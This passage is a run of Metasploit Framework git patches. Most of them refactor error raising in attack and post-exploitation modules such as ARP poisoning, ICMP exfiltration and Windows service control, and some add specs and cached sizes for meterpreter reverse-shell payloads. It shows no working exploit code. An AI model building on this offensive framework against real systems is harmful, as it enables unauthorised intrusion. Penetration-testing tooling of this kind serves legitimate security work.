+            raise "Unable to parse encryption req during pre-login, this may not be a MSSQL server"
             encryption_mode = ENCRYPT_NOT_SUP
           end
 
@@ -682,8 +681,7 @@ module Metasploit
             if idx > 0
               encryption_mode = resp[idx, 1].unpack("C")[0]
             else
-              raise RuntimeError, "Unable to parse encryption "\
-                "req during pre-login"
+              raise "Unable to parse encryption req during pre-login, this may not be a MSSQL server"
             end
           end
           encryption_mode
diff --git a/lib/msf/core/auxiliary/nmap.rb b/lib/msf/core/auxiliary/nmap.rb
index a966c8b1f1..0b434270c4 100644
--- a/lib/msf/core/auxiliary/nmap.rb
+++ b/lib/msf/core/auxiliary/nmap.rb
@@ -165,7 +165,7 @@ def nmap_add_ports
   if nmap_validate_arg(port_arg)
     self.nmap_args << port_arg
   else
-    raise RunTimeError, "Argument is invalid"
+    raise "Argument is invalid"
   end
 end
 

From 9389052f612ef759754cdc3b3036b7da4a43a0b7 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Tue, 31 Oct 2017 04:45:19 -0500
Subject: [PATCH 072/254] fix more broken RuntimeError calls

---
 lib/msf/core/db_manager/report.rb                           | 6 +++---
 modules/auxiliary/scanner/discovery/arp_sweep.rb            | 4 ++--
 modules/auxiliary/scanner/discovery/ipv6_neighbor.rb        | 4 ++--
 .../scanner/discovery/ipv6_neighbor_router_advertisement.rb | 4 ++--
 modules/auxiliary/server/icmp_exfil.rb                      | 6 +++---
 modules/auxiliary/spoof/arp/arp_poisoning.rb                | 6 +++---
 6 files changed, 15 insertions(+), 15 deletions(-)

diff --git a/lib/msf/core/db_manager/report.rb b/lib/msf/core/db_manager/report.rb
index cb4ccb19ce..e8f8c5fcc2 100644
--- a/lib/msf/core/db_manager/report.rb
+++ b/lib/msf/core/db_manager/report.rb
@@ -44,7 +44,7 @@ module Msf::DBManager::Report
 
     unless artifact.valid?
       errors = artifact.errors.full_messages.join('; ')
-      raise RuntimeError "Artifact to be imported is not valid: #{errors}"
+      raise RuntimeError, "Artifact to be imported is not valid: #{errors}"
     end
     artifact.save
   end
@@ -66,7 +66,7 @@ module Msf::DBManager::Report
 
     unless report.valid?
       errors = report.errors.full_messages.join('; ')
-      raise RuntimeError "Report to be imported is not valid: #{errors}"
+      raise RuntimeError, "Report to be imported is not valid: #{errors}"
     end
     report.state = :complete # Presume complete since it was exported
     report.save
@@ -83,4 +83,4 @@ module Msf::DBManager::Report
     wspace.reports
   }
   end
-end
\ No newline at end of file
+end
diff --git a/modules/auxiliary/scanner/discovery/arp_sweep.rb b/modules/auxiliary/scanner/discovery/arp_sweep.rb
index 45993f560b..d5155e9080 100644
--- a/modules/auxiliary/scanner/discovery/arp_sweep.rb
+++ b/modules/auxiliary/scanner/discovery/arp_sweep.rb
@@ -46,11 +46,11 @@ class MetasploitModule < Msf::Auxiliary
     @interface = datastore['INTERFACE'] || Pcap.lookupdev
     shost = datastore['SHOST']
     shost ||= get_ipv4_addr(@interface) if @netifaces
-    raise RuntimeError ,'SHOST should be defined' unless shost
+    raise RuntimeError, 'SHOST should be defined' unless shost
 
     smac  = datastore['SMAC']
     smac ||= get_mac(@interface) if @netifaces
-    raise RuntimeError ,'SMAC should be defined' unless smac
+    raise RuntimeError, 'SMAC should be defined' unless smac
 
     begin
 
diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb
index 00530de45c..169e2f8f06 100644
--- a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb
+++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb
@@ -49,11 +49,11 @@ class MetasploitModule < Msf::Auxiliary
     @interface = datastore['INTERFACE'] || Pcap.lookupdev
     @shost = datastore['SHOST']
     @shost ||= get_ipv4_addr(@interface) if @netifaces
-    raise RuntimeError ,'SHOST should be defined' unless @shost
+    raise RuntimeError, 'SHOST should be defined' unless @shost
 
     @smac  = datastore['SMAC']
     @smac ||= get_mac(@interface) if @netifaces
-    raise RuntimeError ,'SMAC should be defined' unless @smac
+    raise RuntimeError, 'SMAC should be defined' unless @smac
 
     addrs = []
 
diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb
index cbf01588c4..7651904f8f 100644
--- a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb
+++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb
@@ -161,12 +161,12 @@ class MetasploitModule < Msf::Auxiliary
     @interface = datastore['INTERFACE'] || Pcap.lookupdev
     @shost = datastore['SHOST']
     @shost ||= get_ipv4_addr(@interface) if @netifaces
-    raise RuntimeError ,'SHOST should be defined' unless @shost
+    raise RuntimeError, 'SHOST should be defined' unless @shost
 
     @smac  = datastore['SMAC']
     @smac ||= get_mac(@interface) if @netifaces
     @smac ||= ipv6_mac
-    raise RuntimeError ,'SMAC should be defined' unless @smac
+    raise RuntimeError, 'SMAC should be defined' unless @smac
 
     # Send router advertisement
     print_status("Sending router advertisement...")
diff --git a/modules/auxiliary/server/icmp_exfil.rb b/modules/auxiliary/server/icmp_exfil.rb
index f51b978acc..a05fd7d2b9 100644
--- a/modules/auxiliary/server/icmp_exfil.rb
+++ b/modules/auxiliary/server/icmp_exfil.rb
@@ -153,7 +153,7 @@ class MetasploitModule < Msf::Auxiliary
           icmp_response, contents = icmp_packet(packet, datastore['RESP_START'])
 
           if not icmp_response
-            raise RuntimeError ,"Could not build ICMP response"
+            raise RuntimeError, "Could not build ICMP response"
           else
             # send response packet icmp_pkt
             send_icmp(icmp_response, contents)
@@ -172,7 +172,7 @@ class MetasploitModule < Msf::Auxiliary
             icmp_response, contents = icmp_packet(packet, datastore['RESP_END'])
 
             if not icmp_response
-              raise RuntimeError , "Could not build ICMP response"
+              raise RuntimeError, "Could not build ICMP response"
             else
               # send response packet icmp_pkt
               send_icmp(icmp_response, contents)
@@ -192,7 +192,7 @@ class MetasploitModule < Msf::Auxiliary
             icmp_response, contents = icmp_packet(packet, datastore['RESP_CONT'])
 
             if not icmp_response
-              raise RuntimeError , "Could not build ICMP response"
+              raise RuntimeError, "Could not build ICMP response"
             else
               # send response packet icmp_pkt
               send_icmp(icmp_response, contents)
diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb
index d79ce44402..4a1022617a 100644
--- a/modules/auxiliary/spoof/arp/arp_poisoning.rb
+++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb
@@ -72,8 +72,8 @@ class MetasploitModule < Msf::Auxiliary
       @interface = get_interface_guid(@interface)
       @smac = datastore['SMAC']
       @smac ||= get_mac(@interface) if @netifaces
-      raise RuntimeError ,'SMAC is not defined and can not be guessed' unless @smac
-      raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac)
+      raise RuntimeError, 'SMAC is not defined and can not be guessed' unless @smac
+      raise RuntimeError, 'Source MAC is not in correct format' unless is_mac?(@smac)
 
       @sip = datastore['LOCALSIP']
       @sip ||= get_ipv4_addr(@interface) if @netifaces
@@ -162,7 +162,7 @@ class MetasploitModule < Msf::Auxiliary
 
   def arp_poisoning
     lsmac = datastore['LOCALSMAC'] || @smac
-    raise RuntimeError ,'Local Source Mac is not in correct format' unless is_mac?(lsmac)
+    raise RuntimeError, 'Local Source Mac is not in correct format' unless is_mac?(lsmac)
 
     dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
     @dhosts = []

From aa0ac57238f6e4bef5571e5702eb8eec4f4dcbe0 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Tue, 31 Oct 2017 04:53:14 -0500
Subject: [PATCH 073/254] use implicit RuntimeError

---
 lib/msf/core/auxiliary/nmap.rb                         | 10 +++++-----
 lib/msf/core/db_manager/report.rb                      |  4 ++--
 modules/auxiliary/scanner/discovery/arp_sweep.rb       |  4 ++--
 modules/auxiliary/scanner/discovery/ipv6_neighbor.rb   |  4 ++--
 .../discovery/ipv6_neighbor_router_advertisement.rb    |  4 ++--
 modules/auxiliary/server/icmp_exfil.rb                 |  6 +++---
 modules/auxiliary/spoof/arp/arp_poisoning.rb           | 10 +++++-----
 7 files changed, 21 insertions(+), 21 deletions(-)

diff --git a/lib/msf/core/auxiliary/nmap.rb b/lib/msf/core/auxiliary/nmap.rb
index 0b434270c4..da69eccd6c 100644
--- a/lib/msf/core/auxiliary/nmap.rb
+++ b/lib/msf/core/auxiliary/nmap.rb
@@ -43,7 +43,7 @@ def rport
 end
 
 def set_nmap_cmd
-  self.nmap_bin || (raise RuntimeError, "Cannot locate nmap binary")
+  self.nmap_bin || (raise "Cannot locate nmap binary")
   nmap_set_log
   nmap_add_ports
   nmap_cmd = [self.nmap_bin]
@@ -54,7 +54,7 @@ def set_nmap_cmd
 end
 
 def get_nmap_ver
-  self.nmap_bin || (raise RuntimeError, "Cannot locate nmap binary")
+  self.nmap_bin || (raise "Cannot locate nmap binary")
   res = ""
   nmap_cmd = [self.nmap_bin]
   nmap_cmd << "--version"
@@ -84,7 +84,7 @@ def nmap_version_at_least?(test_ver=nil)
 end
 
 def nmap_build_args
-  raise RuntimeError, "nmap_build_args() not defined by #{self.refname}"
+  raise "nmap_build_args() not defined by #{self.refname}"
 end
 
 def nmap_run
@@ -159,7 +159,7 @@ end
 # A helper to add in rport or rports as a -p argument
 def nmap_add_ports
   if not nmap_validate_rports
-    raise RuntimeError, "Cannot continue without a valid port list."
+    raise "Cannot continue without a valid port list."
   end
   port_arg = "-p \"#{datastore['RPORT'] || rports}\""
   if nmap_validate_arg(port_arg)
@@ -237,7 +237,7 @@ end
 # module to ferret out whatever's interesting in this host
 # object.
 def nmap_hosts(&block)
-  @nmap_bin || (raise RuntimeError, "Cannot locate the nmap binary.")
+  @nmap_bin || (raise "Cannot locate the nmap binary.")
   fh = self.nmap_log[0]
   nmap_data = fh.read(fh.stat.size)
   # fh.unlink
diff --git a/lib/msf/core/db_manager/report.rb b/lib/msf/core/db_manager/report.rb
index e8f8c5fcc2..45eada1df0 100644
--- a/lib/msf/core/db_manager/report.rb
+++ b/lib/msf/core/db_manager/report.rb
@@ -44,7 +44,7 @@ module Msf::DBManager::Report
 
     unless artifact.valid?
       errors = artifact.errors.full_messages.join('; ')
-      raise RuntimeError, "Artifact to be imported is not valid: #{errors}"
+      raise "Artifact to be imported is not valid: #{errors}"
     end
     artifact.save
   end
@@ -66,7 +66,7 @@ module Msf::DBManager::Report
 
     unless report.valid?
       errors = report.errors.full_messages.join('; ')
-      raise RuntimeError, "Report to be imported is not valid: #{errors}"
+      raise "Report to be imported is not valid: #{errors}"
     end
     report.state = :complete # Presume complete since it was exported
     report.save
diff --git a/modules/auxiliary/scanner/discovery/arp_sweep.rb b/modules/auxiliary/scanner/discovery/arp_sweep.rb
index d5155e9080..fa495b4333 100644
--- a/modules/auxiliary/scanner/discovery/arp_sweep.rb
+++ b/modules/auxiliary/scanner/discovery/arp_sweep.rb
@@ -46,11 +46,11 @@ class MetasploitModule < Msf::Auxiliary
     @interface = datastore['INTERFACE'] || Pcap.lookupdev
     shost = datastore['SHOST']
     shost ||= get_ipv4_addr(@interface) if @netifaces
-    raise RuntimeError, 'SHOST should be defined' unless shost
+    raise 'SHOST should be defined' unless shost
 
     smac  = datastore['SMAC']
     smac ||= get_mac(@interface) if @netifaces
-    raise RuntimeError, 'SMAC should be defined' unless smac
+    raise 'SMAC should be defined' unless smac
 
     begin
 
diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb
index 169e2f8f06..78f2491524 100644
--- a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb
+++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb
@@ -49,11 +49,11 @@ class MetasploitModule < Msf::Auxiliary
     @interface = datastore['INTERFACE'] || Pcap.lookupdev
     @shost = datastore['SHOST']
     @shost ||= get_ipv4_addr(@interface) if @netifaces
-    raise RuntimeError, 'SHOST should be defined' unless @shost
+    raise 'SHOST should be defined' unless @shost
 
     @smac  = datastore['SMAC']
     @smac ||= get_mac(@interface) if @netifaces
-    raise RuntimeError, 'SMAC should be defined' unless @smac
+    raise 'SMAC should be defined' unless @smac
 
     addrs = []
 
diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb
index 7651904f8f..747a276e7e 100644
--- a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb
+++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb
@@ -161,12 +161,12 @@ class MetasploitModule < Msf::Auxiliary
     @interface = datastore['INTERFACE'] || Pcap.lookupdev
     @shost = datastore['SHOST']
     @shost ||= get_ipv4_addr(@interface) if @netifaces
-    raise RuntimeError, 'SHOST should be defined' unless @shost
+    raise 'SHOST should be defined' unless @shost
 
     @smac  = datastore['SMAC']
     @smac ||= get_mac(@interface) if @netifaces
     @smac ||= ipv6_mac
-    raise RuntimeError, 'SMAC should be defined' unless @smac
+    raise 'SMAC should be defined' unless @smac
 
     # Send router advertisement
     print_status("Sending router advertisement...")
diff --git a/modules/auxiliary/server/icmp_exfil.rb b/modules/auxiliary/server/icmp_exfil.rb
index a05fd7d2b9..82c323aadd 100644
--- a/modules/auxiliary/server/icmp_exfil.rb
+++ b/modules/auxiliary/server/icmp_exfil.rb
@@ -153,7 +153,7 @@ class MetasploitModule < Msf::Auxiliary
           icmp_response, contents = icmp_packet(packet, datastore['RESP_START'])
 
           if not icmp_response
-            raise RuntimeError, "Could not build ICMP response"
+            raise "Could not build ICMP response"
           else
             # send response packet icmp_pkt
             send_icmp(icmp_response, contents)
@@ -172,7 +172,7 @@ class MetasploitModule < Msf::Auxiliary
             icmp_response, contents = icmp_packet(packet, datastore['RESP_END'])
 
             if not icmp_response
-              raise RuntimeError, "Could not build ICMP response"
+              raise "Could not build ICMP response"
             else
               # send response packet icmp_pkt
               send_icmp(icmp_response, contents)
@@ -192,7 +192,7 @@ class MetasploitModule < Msf::Auxiliary
             icmp_response, contents = icmp_packet(packet, datastore['RESP_CONT'])
 
             if not icmp_response
-              raise RuntimeError, "Could not build ICMP response"
+              raise "Could not build ICMP response"
             else
               # send response packet icmp_pkt
               send_icmp(icmp_response, contents)
diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb
index 4a1022617a..d326baacbf 100644
--- a/modules/auxiliary/spoof/arp/arp_poisoning.rb
+++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb
@@ -72,8 +72,8 @@ class MetasploitModule < Msf::Auxiliary
       @interface = get_interface_guid(@interface)
       @smac = datastore['SMAC']
       @smac ||= get_mac(@interface) if @netifaces
-      raise RuntimeError, 'SMAC is not defined and can not be guessed' unless @smac
-      raise RuntimeError, 'Source MAC is not in correct format' unless is_mac?(@smac)
+      raise 'SMAC is not defined and can not be guessed' unless @smac
+      raise 'Source MAC is not in correct format' unless is_mac?(@smac)
 
       @sip = datastore['LOCALSIP']
       @sip ||= get_ipv4_addr(@interface) if @netifaces
@@ -162,7 +162,7 @@ class MetasploitModule < Msf::Auxiliary
 
   def arp_poisoning
     lsmac = datastore['LOCALSMAC'] || @smac
-    raise RuntimeError, 'Local Source Mac is not in correct format' unless is_mac?(lsmac)
+    raise 'Local Source Mac is not in correct format' unless is_mac?(lsmac)
 
     dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
     @dhosts = []
@@ -199,7 +199,7 @@ class MetasploitModule < Msf::Auxiliary
       end
       Kernel.select(nil, nil, nil, 0.50)
     end
-    raise RuntimeError, "No hosts found" unless @dsthosts_cache.length > 0
+    raise "No hosts found" unless @dsthosts_cache.length > 0
 
     # Build the local src hosts cache
     if datastore['BIDIRECTIONAL']
@@ -236,7 +236,7 @@ class MetasploitModule < Msf::Auxiliary
         end
         Kernel.select(nil, nil, nil, 0.50)
       end
-      raise RuntimeError, "No hosts found" unless @srchosts_cache.length > 0
+      raise "No hosts found" unless @srchosts_cache.length > 0
     end
 
     if datastore['AUTO_ADD']

From 1462330f349d7cebcf46294eb1dfafbc84a0cf2b Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Tue, 31 Oct 2017 20:33:31 -0400
Subject: [PATCH 074/254] Add tab completion to the payload generate command

---
 .../ui/console/command_dispatcher/payload.rb  | 23 +++++++++++++++++--
 1 file changed, 21 insertions(+), 2 deletions(-)

diff --git a/lib/msf/ui/console/command_dispatcher/payload.rb b/lib/msf/ui/console/command_dispatcher/payload.rb
index 16e1e3f8b3..bab4065d70 100644
--- a/lib/msf/ui/console/command_dispatcher/payload.rb
+++ b/lib/msf/ui/console/command_dispatcher/payload.rb
@@ -13,7 +13,7 @@ module Msf
           include Msf::Ui::Console::ModuleCommandDispatcher
 
           # Load supported formats
-          supported_formats = \
+          @@supported_formats = \
             Msf::Simple::Buffer.transform_formats + \
             Msf::Util::EXE.to_executable_fmt_formats
 
@@ -25,7 +25,7 @@ module Msf
             "-o" => [ true,  "A comma separated list of options in VAR=VAL format." ],
             "-s" => [ true,  "NOP sled length."                                     ],
             "-f" => [ true,  "The output file name (otherwise stdout)"              ],
-            "-t" => [ true,  "The output format: #{supported_formats.join(',')}"    ],
+            "-t" => [ true,  "The output format: #{@@supported_formats.join(',')}"    ],
             "-p" => [ true,  "The Platform for output."                             ],
             "-k" => [ false, "Keep the template executable functional"              ],
             "-x" => [ true,  "The executable template to use"                       ],
@@ -151,6 +151,25 @@ module Msf
             end
             true
           end
+
+          def cmd_generate_tabs(str, words)
+            last_word = words[-1]
+            fmt = @@generate_opts.fmt
+            fmt = fmt.select { |key, value| last_word == key || !words.include?(key) }
+
+            option = fmt[last_word]
+            return fmt.keys if !option || !option[0]
+
+            tabs = []
+            case last_word
+              when '-e'
+                tabs = framework.encoders.map { |refname, mod| refname }
+              when '-f'
+                tabs = tab_complete_filenames(str, words)
+              when '-t'
+                tabs = @@supported_formats
+            end
+          end
         end
       end
     end

From 90766ceceba52df84625ae93220273e2e15285b9 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Wed, 1 Nov 2017 05:59:12 -0500
Subject: [PATCH 075/254] remove more unusual raise RuntimeError patterns

---
 lib/msf/core/exploit/smtp_deliver.rb  |  4 ++--
 lib/msf/core/module/platform.rb       |  3 +--
 lib/msf/core/post/windows/ldap.rb     |  6 +++---
 lib/msf/core/post/windows/services.rb | 10 +++++-----
 lib/rex/ui/text/dispatcher_shell.rb   |  2 +-
 scripts/meterpreter/search_dwld.rb    |  4 ++--
 6 files changed, 14 insertions(+), 15 deletions(-)

diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb
index 36c03bca7c..f91f3f5a09 100755
--- a/lib/msf/core/exploit/smtp_deliver.rb
+++ b/lib/msf/core/exploit/smtp_deliver.rb
@@ -111,7 +111,7 @@ module Exploit::Remote::SMTPDeliver
           unless res[0..2] == '235'
             print_error("Authentication failed, quitting")
             disconnect(nsock)
-            raise RuntimeError.new 'Could not authenticate to SMTP server'
+            raise 'Could not authenticate to SMTP server'
           end
         else
           print_status("Server requested auth and no creds given, trying to continue anyway")
@@ -126,7 +126,7 @@ module Exploit::Remote::SMTPDeliver
           unless res[0..2] == '235'
             print_error("Authentication failed, quitting")
             disconnect(nsock)
-            raise RuntimeError.new 'Could not authenticate to SMTP server'
+            raise 'Could not authenticate to SMTP server'
           end
         else
           print_status("Server requested auth and no creds given, trying to continue anyway")
diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb
index 90f82c3bd5..de0e7fbaca 100644
--- a/lib/msf/core/module/platform.rb
+++ b/lib/msf/core/module/platform.rb
@@ -143,8 +143,7 @@ class Msf::Module::Platform
 
     if (not mod.const_defined?('Names'))
       elog("Failed to instantiate the platform list for module #{mod}")
-      raise RuntimeError.new("Failed to instantiate the platform list for module #{mod}")
-      return nil
+      raise "Failed to instantiate the platform list for module #{mod}"
     end
 
     abbrev   = mod.const_get('Abbrev')
diff --git a/lib/msf/core/post/windows/ldap.rb b/lib/msf/core/post/windows/ldap.rb
index bcb756e232..466dd736d5 100644
--- a/lib/msf/core/post/windows/ldap.rb
+++ b/lib/msf/core/post/windows/ldap.rb
@@ -119,7 +119,7 @@ module LDAP
     domain ||= get_domain
 
     if domain.blank?
-      raise RuntimeError, "Unable to find the domain to query."
+      raise "Unable to find the domain to query."
     end
 
     if load_extapi
@@ -338,7 +338,7 @@ module LDAP
     init_result = wldap32.ldap_sslinitA(domain, 389, 0)
     session_handle = init_result['return']
     if session_handle == 0
-      raise RuntimeError.new("Unable to initialize ldap server: #{init_result["ErrorMessage"]}")
+      raise "Unable to initialize ldap server: #{init_result["ErrorMessage"]}"
     end
 
     vprint_status("LDAP Handle: #{session_handle}")
@@ -352,7 +352,7 @@ module LDAP
     bind = bind_result['return']
     unless bind == 0
       wldap32.ldap_unbind(session_handle)
-      raise RuntimeError.new("Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}")
+      raise "Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}"
     end
 
     if (block_given?)
diff --git a/lib/msf/core/post/windows/services.rb b/lib/msf/core/post/windows/services.rb
index 6459c47479..3833fdfa37 100644
--- a/lib/msf/core/post/windows/services.rb
+++ b/lib/msf/core/post/windows/services.rb
@@ -78,7 +78,7 @@ module Services
     # );
     manag = advapi32.OpenSCManagerA(machine_str,nil,access)
     if (manag["return"] == 0)
-      raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}")
+      raise "Unable to open service manager: #{manag["ErrorMessage"]}"
     end
 
     if (block_given?)
@@ -115,7 +115,7 @@ module Services
   def open_service_handle(manager, name, access)
     handle = advapi32.OpenServiceA(manager, name, access)
     if (handle["return"] == 0)
-      raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}")
+      raise "Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}"
     end
 
     if (block_given?)
@@ -267,7 +267,7 @@ module Services
         when "manual" then startup_number   = START_TYPE_MANUAL
         when "disable" then startup_number  = START_TYPE_DISABLED
         else
-          raise RuntimeError, "Invalid Startup Mode: #{mode}"
+          raise "Invalid Startup Mode: #{mode}"
       end
     end
 
@@ -453,7 +453,7 @@ module Services
         status = advapi32.QueryServiceStatus(service_handle,28)
 
         if (status["return"] == 0)
-          raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}")
+          raise "Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}"
         else
           ret = parse_service_status_struct(status['lpServiceStatus'])
         end
@@ -485,7 +485,7 @@ module Services
         vprint_good("[#{name}] Service started")
         return true
       else
-        raise RuntimeError, status
+        raise status
       end
     rescue RuntimeError => s
       if tried
diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb
index 878010829c..1869156be7 100644
--- a/lib/rex/ui/text/dispatcher_shell.rb
+++ b/lib/rex/ui/text/dispatcher_shell.rb
@@ -464,7 +464,7 @@ module DispatcherShell
     inst = dispatcher.new(self)
     self.dispatcher_stack.each { |disp|
       if (disp.name == inst.name)
-        raise RuntimeError.new("Attempting to load already loaded dispatcher #{disp.name}")
+        raise "Attempting to load already loaded dispatcher #{disp.name}"
       end
     }
     self.dispatcher_stack.push(inst)
diff --git a/scripts/meterpreter/search_dwld.rb b/scripts/meterpreter/search_dwld.rb
index bfdfe212ae..a51eed05bb 100644
--- a/scripts/meterpreter/search_dwld.rb
+++ b/scripts/meterpreter/search_dwld.rb
@@ -91,7 +91,7 @@ filter  = args[1] || "office"
 # Set the regexp
 if filter == 'free'
   if args[2].nil?
-    raise RuntimeError.new("free filter requires pattern argument")
+    raise "free filter requires pattern argument"
   end
   $motif = args[2]
 else
@@ -99,7 +99,7 @@ else
 end
 
 if $motif.nil?
-  raise RuntimeError.new("Unrecognized filter")
+  raise "Unrecognized filter"
 end
 
 # Search and download

From cd114c90e0f84e12dd1d154280ff24610032167d Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Wed, 1 Nov 2017 11:52:06 -0500
Subject: [PATCH 076/254] remove no longer available bundler hack

This address issue #9155 for bundler failures in TravisCI
---
 spec/spec_helper.rb | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index 0859ab6424..a5b1cfc002 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -3,10 +3,6 @@ require 'stringio'
 
 ENV['RAILS_ENV'] = 'test'
 
-unless Bundler.settings.without.include?(:coverage)
-  require 'simplecov'
-end
-
 # @note must be before loading config/environment because railtie needs to be loaded before
 #   `Metasploit::Framework::Application.initialize!` is called.
 #

From 553452c19d80b37020cac12d91d3ae9917064451 Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Wed, 1 Nov 2017 12:00:03 -0500
Subject: [PATCH 077/254] add missing ppc500v2 payload specs

---
 spec/modules/payloads_spec.rb | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb
index 0678c405ba..04eb3245c4 100644
--- a/spec/modules/payloads_spec.rb
+++ b/spec/modules/payloads_spec.rb
@@ -4384,6 +4384,36 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'linux/ppc/meterpreter_reverse_https'
   end
 
+  context 'linux/ppce500v2/meterpreter_reverse_http' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                              'singles/linux/ppce500v2/meterpreter_reverse_http'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'linux/ppce500v2/meterpreter_reverse_http'
+  end
+
+  context 'linux/ppce500v2/meterpreter_reverse_https' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                              'singles/linux/ppce500v2/meterpreter_reverse_https'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'linux/ppce500v2/meterpreter_reverse_https'
+  end
+
+  context 'linux/ppce500v2/meterpreter_reverse_tcp' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                              'singles/linux/ppce500v2/meterpreter_reverse_tcp'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'linux/ppce500v2/meterpreter_reverse_tcp'
+  end
+
   context 'linux/ppc64le/meterpreter_reverse_http' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [

From 7a21cfdfa643046b23419b9eef544f9ca300d7cf Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Wed, 1 Nov 2017 13:08:15 -0500
Subject: [PATCH 078/254] add cached sizes for ppce500v2

---
 .../singles/linux/ppce500v2/meterpreter_reverse_http.rb         | 2 ++
 .../singles/linux/ppce500v2/meterpreter_reverse_https.rb        | 2 ++
 .../payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb | 2 ++
 3 files changed, 6 insertions(+)

diff --git a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb
index 17a4ad60cc..a568253314 100644
--- a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb
@@ -10,6 +10,8 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
 
 module MetasploitModule
 
+  CachedSize = 854692
+
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
   include Msf::Sessions::MettleConfig
diff --git a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb
index 345737bb79..01adfad676 100644
--- a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb
@@ -10,6 +10,8 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
 
 module MetasploitModule
 
+  CachedSize = 854692
+
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
   include Msf::Sessions::MettleConfig
diff --git a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb
index 2de9507578..8f13d5b934 100644
--- a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb
@@ -10,6 +10,8 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
 
 module MetasploitModule
 
+  CachedSize = 854692
+
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
   include Msf::Sessions::MettleConfig

From 3847a6849473c9b60d6d4410d6cdd69526027ed9 Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Wed, 1 Nov 2017 13:23:32 -0500
Subject: [PATCH 079/254] Clean up module

---
 .../wp_mobile_detector_upload_execute.rb      | 23 +++++--------------
 1 file changed, 6 insertions(+), 17 deletions(-)

